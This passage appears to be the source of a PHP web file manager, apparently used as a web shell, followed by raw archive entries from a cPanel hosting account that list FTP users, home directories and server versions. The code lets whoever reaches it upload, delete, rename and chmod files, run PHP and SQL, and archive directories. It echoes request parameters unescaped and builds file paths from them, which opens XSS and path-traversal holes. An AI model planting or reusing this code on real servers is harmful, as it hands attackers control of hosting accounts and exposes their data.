if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
$msg_now .= (__('File updated'));
else $msg_now .= (__('Error occurred'));
}
clearstatcache();
$oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
$link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_now?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
<input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
<?php } ?>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
if(!empty($_REQUEST['save'])) {
rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
$msg_now .= (__('File updated'));
$_REQUEST['rename'] = $_REQUEST['newname'];
}
clearstatcache();
$link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
$backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
<th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
<td class="row1">
<?=$msg_now?>
</td>
</tr>
<tr>
<td class="row1">
<a href="<?=$backlink?>"><?=__('Back')?></a>
</td>
</tr>
<tr>
<td class="row1" align="center">
<form name="form1" method="post" action="<?=$link?>">
<?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
<input type="submit" name="save" value="<?=__('Submit')?>">
</form>
</td>
</tr>
</table>
<?php
} else {
//Let's rock!
$msg_now = '';
if(!empty($_FILES['upload'])&&!empty($fmo_config['upload_file'])) {
if(!empty($_FILES['upload']['name'])){
$_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
$msg_now .= __('Error occurred');
} else {
$msg_now .= __('Files uploaded').': '.$_FILES['upload']['name'];
}
}
} elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
$msg_now .= __('Error occurred');
} else {
$msg_now .= __('Deleted').' '.$_REQUEST['delete'];
}
} elseif(!empty($_REQUEST['mkdir'])&&!empty($fmo_config['make_directory'])) {
if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
$msg_now .= __('Error occurred');
} else {
$msg_now .= __('Created').' '.$_REQUEST['dirname'];
}
} elseif(!empty($_POST['search_recursive'])) {
ini_set('max_execution_time', '0');
$search_data = find_text_in_files($_POST['path'], $_POST['mask'], $_POST['search_recursive']);
if(!empty($search_data)) {
$msg_now .= __('Found in files').' ('.count($search_data).'):<br>';
foreach ($search_data as $filename) {
$msg_now .= '<a href="'.fm_url(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a> ';
}
} else {
$msg_now .= __('Nothing founded');
}
} elseif(!empty($_REQUEST['mkfile'])&&!empty($fmo_config['new_file'])) {
if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
$msg_now .= __('Error occurred');
} else {
fclose($fp);
$msg_now .= __('Created').' '.$_REQUEST['filename'];
}
} elseif (isset($_GET['zip'])) {
$source = base64_decode($_GET['zip']);
$destination = basename($source).'.zip';
set_time_limit(0);
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
if (is_file($destination))
$msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
else $msg_now .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['gz'])) {
$source = base64_decode($_GET['gz']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
clearstatcache();
set_time_limit(0);
//die();
$phar = new PharData($destination);
$phar->buildFromDirectory($source);
$phar->compress(Phar::GZ,'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_now .= __('Error occurred').': '.__('no files');
} elseif (isset($_GET['decompress'])) {
// $source = base64_decode($_GET['decompress']);
// $destination = basename($source);
// $ext = end(explode(".", $destination));
// if ($ext=='zip' OR $ext=='gz') {
// $phar = new PharData($source);
// $phar->decompress();
// $base_file = str_replace('.'.$ext,'',$destination);
// $ext = end(explode(".", $base_file));
// if ($ext=='tar'){
// $phar = new PharData($base_file);
// $phar->extractTo(dir($source));
// }
// }
// $msg_now .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
} elseif (isset($_GET['gzfile'])) {
$source = base64_decode($_GET['gzfile']);
$archive = $source.'.tar';
$destination = basename($source).'.tar';
if (is_file($archive)) unlink($archive);
if (is_file($archive.'.gz')) unlink($archive.'.gz');
set_time_limit(0);
//echo $destination;
$ext_arr = explode('.',basename($source));
if (isset($ext_arr[1])) {
unset($ext_arr[0]);
$ext=implode('.',$ext_arr);
}
$phar = new PharData($destination);
$phar->addFile($source);
$phar->compress(Phar::GZ,$ext.'.tar.gz');
unset($phar);
if (is_file($archive)) {
if (is_file($archive.'.gz')) {
unlink($archive);
$destination .= '.gz';
}
$msg_now .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
'. '.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
.' <a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
} else $msg_now .= __('Error occurred').': '.__('no files');
}
?>
<table class="whole" id="header_table" >
<tr>
<th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_now)){ ?>
<tr>
<td colspan="2" class="row2"><?=$msg_now?></td>
</tr>
<?php } ?>
<tr>
<td class="row2">
<table>
<tr>
<td>
<?=fm_home()?>
</td>
<td>
<?php if(!empty($fmo_config['make_directory'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="dirname" size="15">
<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
</form>
<?php } ?>
</td>
<td>
<?php if(!empty($fmo_config['new_file'])) { ?>
<form method="post" action="<?=$url_inc?>">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" name="filename" size="15">
<input type="submit" name="mkfile" value="<?=__('New file')?>">
</form>
<?php } ?>
</td>
<td>
<form method="post" action="<?=$url_inc?>" style="display:inline">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
<input type="submit" name="search" value="<?=__('Search')?>">
</form>
</td>
<td>
<?=fm_run_input('php')?>
</td>
<td>
<?=fm_run_input('sql')?>
</td>
</tr>
</table>
</td>
<td class="row3">
<table>
<tr>
<td>
<?php if (!empty($fmo_config['upload_file'])) { ?>
<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
<input type="hidden" name="path" value="<?=$path?>" />
<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
<input type="submit" name="test" value="<?=__('Upload')?>" />
</form>
<?php } ?>
</td>
<td>
<?php if ($auth_mydevice['authorize']) { ?>
<form action="" method="post">
<input name="quit" type="hidden" value="1">
<?=__('Hello')?>, <?=$auth_mydevice['login']?>
<input type="submit" value="<?=__('Quit')?>">
</form>
<?php } ?>
</td>
<td>
<?=fm_lang_form($language_benros)?>
</td>
<tr>
</table>
</td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr>
<th style="white-space:nowrap"> <?=__('Filename')?> </th>
<th style="white-space:nowrap"> <?=__('Size')?> </th>
<th style="white-space:nowrap"> <?=__('Date')?> </th>
<th style="white-space:nowrap"> <?=__('Rights')?> </th>
<th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$file_entries = array();
foreach ($elements as $file){
if(@is_dir($path . $file)){
$dirs[] = $file;
} else {
$file_entries[] = $file;
}
}
natsort($dirs); natsort($file_entries);
$elements = array_merge($dirs, $file_entries);
foreach ($elements as $file){
$filename = $path . $file;
$filedata = @stat($filename);
if(@is_dir($filename)){
$filedata[7] = '';
if (!empty($fmo_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
$link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder"> </span> '.$file.'</a>';
$loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').' zip',__('Archiving').' '. $file);
$arlink = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').' .tar.gz',__('Archiving').' '.$file);
$style = 'row2';
if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"'; else $alert = '';
} else {
$link =
$fmo_config['show_img']&&@getimagesize($filename)
? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
. fm_img_link($filename)
.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img"> </span> '.$file.'</a>'
: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file"> </span> '.$file.'</a>';
$e_arr = explode(".", $file);
$ext = end($e_arr);
$loadlink = fm_link('download',$filename,__('Download'),__('Download').' '. $file);
$arlink = in_array($ext,array('zip','gz','tar'))
? ''
: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').' .tar.gz',__('Archiving').' '. $file));
$style = 'row1';
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path . '\'"';
}
$deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
$renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
$rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>">
<td><?=$link?></td>
<td><?=$filedata[7]?></td>
<td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
<td><?=$rightstext?></td>
<td><?=$deletelink?></td>
<td><?=$renamelink?></td>
<td><?=$loadlink?></td>
<td><?=$arlink?></td>
</tr>
<?php
}
}
?>
</tbody>
</table>
<div class="row3"><?php
$mtime = explode(' ', microtime());
$totaltime = $mtime[0] + $mtime[1] - $startororimy;
echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a> | <a href="'.fm_site_url().'">.</a>';
if (!empty($fmo_config['show_php_ver'])) echo ' | PHP '.phpversion();
if (!empty($fmo_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
if (!empty($fmo_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
if (!empty($fmo_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
if (!empty($fmo_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
if (!empty($fmo_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
if (!empty($fmo_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
var element = document.createElement('a');
element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
element.setAttribute('download', filename);
element.style.display = 'none';
document.body.appendChild(element);
element.click();
document.body.removeChild(element);
}
function base64_encode(m) {
for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
c = m.charCodeAt(l);
if (128 > c) d = 1;
else
for (d = 2; c >= 2 << 5 * d;) ++d;
for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
}
b && (g += k[f << 6 - b]);
return g
}
var tableToExcelData = (function() {
var uri = 'data:application/vnd.ms-excel;base64,',
template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
format = function(s, c) {
return s.replace(/{(\w+)}/g, function(m, p) {
return c[p];
})
}
return function(table, name) {
if (!table.nodeType) table = document.getElementById(table)
var ctx = {
worksheet: name || 'Worksheet',
table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
}
t = new Date();
filename = 'fm_' + t.toISOString() + '.xls'
download_xls(filename, base64_encode(format(template, ctx)))
}
})();
var table2Excel = function () {
var ua = window.navigator.userAgent;
var msie = ua.indexOf("MSIE ");
this.CreateExcelSheet =
function(el, name){
if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer
var x = document.getElementById(el).rows;
var xls = new ActiveXObject("Excel.Application");
xls.visible = true;
xls.Workbooks.Add
for (i = 0; i < x.length; i++) {
var y = x[i].cells;
for (j = 0; j < y.length; j++) {
xls.Cells(i + 1, j + 1).Value = y[j].innerText;
}
}
xls.Visible = true;
xls.UserControl = true;
return xls;
} else {
tableToExcelData(el, name);
}
}
}
</script>
</body>
</html>
<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
var $compressed_file_archive = '';
var $temp_file_handler = 0;
var $file_position_pointer = 0;
var $gzip_compression_status = true;
var $list_of_errors = array();
var $file_entries = array();
function __construct(){
if (!isset($this->errors)) $this->errors = array();
}
function buildCompressedArchive($file_list){
$result = false;
if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false;
else $newArchive = true;
if ($newArchive){
if (!$this->initializeWriteOperation()) return false;
} else {
if (filesize($this->archive_name) == 0) return $this->initializeWriteOperation();
if ($this->isGzipped) {
$this->finalizeTempFileHandler();
if (!rename($this->archive_name, $this->archive_name.'.tmp')){
$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
return false;
}
$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
if (!$tmpArchive){
$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
if (!$this->initializeWriteOperation()){
rename($this->archive_name.'.tmp', $this->archive_name);
return false;
}
$buffer = gzread($tmpArchive, 512);
if (!gzeof($tmpArchive)){
do {
$binaryData = pack('a512', $buffer);
$this->writeBlockToData($binaryData);
$buffer = gzread($tmpArchive, 512);
}
while (!gzeof($tmpArchive));
}
gzclose($tmpArchive);
unlink($this->archive_name.'.tmp');
} else {
$this->tmp_file = fopen($this->archive_name, 'r+b');
if (!$this->tmp_file) return false;
}
}
if (isset($file_list) && is_array($file_list)) {
if (count($file_list)>0)
$result = $this->packFilesIntoArchive($file_list);
} else $this->errors[] = __('No file').__(' to ').__('Archive');
if (($result)&&(is_resource($this->tmp_file))){
$binaryData = pack('a512', '');
$this->writeBlockToData($binaryData);
}
$this->finalizeTempFileHandler();
if ($newArchive && !$result){
$this->finalizeTempFileHandler();
unlink($this->archive_name);
}
return $result;
}
function unpackCompressedArchive($path){
$fileName = $this->archive_name;
if (!$this->isGzipped){
if (file_exists($fileName)){
if ($fp = fopen($fileName, 'rb')){
$data = fread($fp, 2);
fclose($fp);
if ($data == '\37\213'){
$this->isGzipped = true;
}
}
}
elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
}
$result = true;
if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
else $this->tmp_file = fopen($fileName, 'rb');
if (!$this->tmp_file){
$this->errors[] = $fileName.' '.__('is not readable');
return false;
}
$result = $this->unpackFilesIntoArchive($path);
$this->finalizeTempFileHandler();
return $result;
}
function displayAllErrors ($message = '') {
$Errors = $this->errors;
if(count($Errors)>0) {
if (!empty($message)) $message = ' ('.$message.')';
$message = __('Error occurred').$message.': <br/>';
foreach ($Errors as $value)
$message .= $value.'<br/>';
return $message;
} else return '';
}
function packFilesIntoArchive($file_array){
$result = true;
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (!is_array($file_array) || count($file_array)<=0)
return true;
for ($i = 0; $i<count($file_array); $i++){
$filename = $file_array[$i];
if ($filename == $this->archive_name)
continue;
if (strlen($filename)<=0)
continue;
if (!file_exists($filename)){
$this->errors[] = __('No file').' '.$filename;
continue;
}
if (!$this->tmp_file){
$this->errors[] = __('Invalid file descriptor');
return false;
}
if (strlen($filename)<=0){
$this->errors[] = __('Filename').' '.__('is incorrect');;
return false;
}
$filename = str_replace('\\', '/', $filename);
$keep_filename = $this->createValidFilePath($filename);
if (is_file($filename)){
if (($file = fopen($filename, 'rb')) == 0){
$this->errors[] = __('Mode ').__('is incorrect');
}
if(($this->file_pos == 0)){
if(!$this->writeHeaderToArchive($filename, $keep_filename))
return false;
}
while (($buffer = fread($file, 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlockToData($binaryData);
}
fclose($file);
} else $this->writeHeaderToArchive($filename, $keep_filename);
if (@is_dir($filename)){
if (!($handle = opendir($filename))){
$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
continue;
}
while (false !== ($dir = readdir($handle))){
if ($dir!='.' && $dir!='..'){
$file_array_tmp = array();
if ($filename != '.')
$file_array_tmp[] = $filename.'/'.$dir;
else
$file_array_tmp[] = $dir;
$result = $this->packFilesIntoArchive($file_array_tmp);
}
}
unset($file_array_tmp);
unset($dir);
unset($handle);
}
}
return $result;
}
function unpackFilesIntoArchive($path){
$path = str_replace('\\', '/', $path);
if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path;
clearstatcache();
while (strlen($binaryData = $this->readBlockFromData()) != 0){
if (!$this->extractHeaderInformation($binaryData, $header)) return false;
if ($header['filename'] == '') continue;
if ($header['typeflag'] == 'L'){ //reading long header
$filename = '';
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++){
$content = $this->readBlockFromData();
$filename .= $content;
}
if (($laspiece = $header['size'] % 512) != 0){
$content = $this->readBlockFromData();
$filename .= substr($content, 0, $laspiece);
}
$binaryData = $this->readBlockFromData();
if (!$this->extractHeaderInformation($binaryData, $header)) return false;
else $header['filename'] = $filename;
return true;
}
if (($path != './') && ($path != '/')){
while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
else $header['filename'] = $path.'/'.$header['filename'];
}
if (file_exists($header['filename'])){
if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
return false;
}
if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
if (!is_writeable($header['filename'])){
$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
return false;
}
} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
return false;
}
if ($header['typeflag'] == '5'){
if (!file_exists($header['filename'])) {
if (!mkdir($header['filename'], 0777)) {
$this->errors[] = __('Cannot create directory').' '.$header['filename'];
return false;
}
}
} else {
if (($destination = fopen($header['filename'], 'wb')) == 0) {
$this->errors[] = __('Cannot write to file').' '.$header['filename'];
return false;
} else {
$decr = floor($header['size']/512);
for ($i = 0; $i < $decr; $i++) {
$content = $this->readBlockFromData();
fwrite($destination, $content, 512);
}
if (($header['size'] % 512) != 0) {
$content = $this->readBlockFromData();
fwrite($destination, $content, ($header['size'] % 512));
}
fclose($destination);
touch($header['filename'], $header['time']);
}
clearstatcache();
if (filesize($header['filename']) != $header['size']) {
$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
return false;
}
}
if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
$this->dirs[] = $file_dir;
$this->files[] = $header['filename'];
}
return true;
}
function dirCheck($dir){
$parent_dir = dirname($dir);
if ((@is_dir($dir)) or ($dir == ''))
return true;
if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
return false;
if (!mkdir($dir, 0777)){
$this->errors[] = __('Cannot create directory').' '.$dir;
return false;
}
return true;
}
function extractHeaderInformation($binaryData, &$header){
if (strlen($binaryData)==0){
$header['filename'] = '';
return true;
}
if (strlen($binaryData) != 512){
$header['filename'] = '';
$this->__('Invalid block size').': '.strlen($binaryData);
return false;
}
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));
$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);
$header['checksum'] = OctDec(trim($unpack_data['checksum']));
if ($header['checksum'] != $checksum){
$header['filename'] = '';
if (($checksum == 256) && ($header['checksum'] == 0)) return true;
$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
return false;
}
if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0;
$header['filename'] = trim($unpack_data['filename']);
$header['mode'] = OctDec(trim($unpack_data['mode']));
$header['user_id'] = OctDec(trim($unpack_data['user_id']));
$header['group_id'] = OctDec(trim($unpack_data['group_id']));
$header['size'] = OctDec(trim($unpack_data['size']));
$header['time'] = OctDec(trim($unpack_data['time']));
return true;
}
function writeHeaderToArchive($filename, $keep_filename){
$packF = 'a100a8a8a8a12A12';
$packL = 'a1a100a6a2a32a32a8a8a155a12';
if (strlen($keep_filename)<=0) $keep_filename = $filename;
$filename_ready = $this->createValidFilePath($keep_filename);
if (strlen($filename_ready) > 99){ //write long header
$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');
// Calculate the checksum
$checksum = 0;
// First part of the header
for ($i = 0; $i < 148; $i++)
$checksum += ord(substr($dataFirst, $i, 1));
// Ignore the checksum value and replace it by ' ' (space)
for ($i = 148; $i < 156; $i++)
$checksum += ord(' ');
// Last part of the header
for ($i = 156, $j=0; $i < 512; $i++, $j++)
$checksum += ord(substr($dataLast, $j, 1));
// Write the first 148 bytes of the header in the archive
$this->writeBlockToData($dataFirst, 148);
// Write the calculated checksum
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlockToData($binaryData, 8);
// Write the last 356 bytes of the header in the archive
$this->writeBlockToData($dataLast, 356);
$temp_file_handlername = $this->createValidFilePath($filename_ready);
$i = 0;
while (($buffer = substr($temp_file_handlername, (($i++)*512), 512)) != ''){
$binaryData = pack('a512', $buffer);
$this->writeBlockToData($binaryData);
}
return true;
}
$file_info = stat($filename);
if (@is_dir($filename)){
$typeflag = '5';
$size = sprintf('%11s ', DecOct(0));
} else {
$typeflag = '';
clearstatcache();
$size = sprintf('%11s ', DecOct(filesize($filename)));
}
$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
$checksum = 0;
for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
$this->writeBlockToData($dataFirst, 148);
$checksum = sprintf('%6s ', DecOct($checksum));
$binaryData = pack('a8', $checksum);
$this->writeBlockToData($binaryData, 8);
$this->writeBlockToData($dataLast, 356);
return true;
}
function initializeWriteOperation(){
if ($this->isGzipped)
$this->tmp_file = gzopen($this->archive_name, 'wb9f');
else
$this->tmp_file = fopen($this->archive_name, 'wb');
if (!($this->tmp_file)){
$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
return false;
}
return true;
}
function readBlockFromData(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
$block = gzread($this->tmp_file, 512);
else
$block = fread($this->tmp_file, 512);
} else $block = '';
return $block;
}
function writeBlockToData($data, $length = 0){
if (is_resource($this->tmp_file)){
if ($length === 0){
if ($this->isGzipped)
gzputs($this->tmp_file, $data);
else
fputs($this->tmp_file, $data);
} else {
if ($this->isGzipped)
gzputs($this->tmp_file, $data, $length);
else
fputs($this->tmp_file, $data, $length);
}
}
}
function finalizeTempFileHandler(){
if (is_resource($this->tmp_file)){
if ($this->isGzipped)
gzclose($this->tmp_file);
else
fclose($this->tmp_file);
$this->tmp_file = 0;
}
}
function createValidFilePath($path){
if (strlen($path)>0){
$path = str_replace('\\', '/', $path);
$partPath = explode('/', $path);
$els = count($partPath)-1;
for ($i = $els; $i>=0; $i--){
if ($partPath[$i] == '.'){
// Ignore this directory
} elseif ($partPath[$i] == '..'){
$i--;
}
elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
} else
$result = $partPath[$i].($i!=$els ? '/'.$result : '');
}
} else $result = '';
return $result;
}
} ftp_LISTSTORE 0000600 00000000710 15105745077 0006731 0 ustar 00 {"status":1,"version":"2.4","statusmsg":"Ran adminbin Cpanel/ftp/LISTSTORE","mode":"simple","action":"fetch","error":0,"exit_code":0,"data":[{"homedir":"/home/kbdhpghp","type":"main","user":"kbdhpghp"},{"homedir":"/etc/apache2/logs/domlogs/kbdhpghp","type":"logaccess","user":"kbdhpghp_logs"},{"type":"anonymous","homedir":"/home/kbdhpghp/public_ftp","user":"ftp"},{"user":"anonymous","homedir":"/home/kbdhpghp/public_ftp","type":"anonymous"}],"timeout":0} mysql-db-count 0000600 00000000001 15105745077 0007337 0 ustar 00 9 _opt_cpanel_ea-php81_root_usr_bin_php_-n_-v 0000600 00000000206 15105745077 0015005 0 ustar 00 PHP 8.1.32 (cli) (built: Mar 20 2025 12:25:49) (NTS)
Copyright (c) The PHP Group
Zend Engine v4.1.32, Copyright (c) Zend Technologies
_bin_gem_environment_gempath 0000600 00000000077 15105745077 0012366 0 ustar 00 /home/kbdhpghp/.gem/ruby:/usr/share/gems:/usr/local/share/gems
